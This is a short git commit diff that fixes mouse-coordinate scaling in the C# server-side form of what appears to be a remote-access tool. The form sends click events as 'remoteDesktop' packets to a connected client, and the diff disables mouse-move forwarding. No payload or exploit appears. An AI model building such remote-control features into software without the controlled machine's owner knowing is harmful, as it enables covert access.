Fixed remote desktop mouse

Fixed remote desktop mouse
This commit is contained in:
NYAN CAT 2019-10-11 20:43:15 +03:00
parent 8c50e4b80a
commit 5aabd608f7
2 changed files with 23 additions and 23 deletions

View File

@ -59,7 +59,7 @@
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove); //this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
// //
// timer1 // timer1

View File

@ -180,7 +180,7 @@ namespace Server.Forms
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 2; button = 2;
@ -205,7 +205,7 @@ namespace Server.Forms
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 4; button = 4;
@ -215,32 +215,32 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
} }
private void PictureBox1_MouseMove(object sender, MouseEventArgs e) //private void PictureBox1_MouseMove(object sender, MouseEventArgs e)
{ //{
try // try
{ // {
if (pictureBox1.Image != null && this.ContainsFocus && isMouse) // if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
{ // {
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); // Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
MsgPack msgpack = new MsgPack(); // MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseMove"; // msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); // msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); // msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); // ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} // }
} // }
catch { } // catch { }
} //}
private void Button3_Click(object sender, EventArgs e) private void Button3_Click(object sender, EventArgs e)
{ {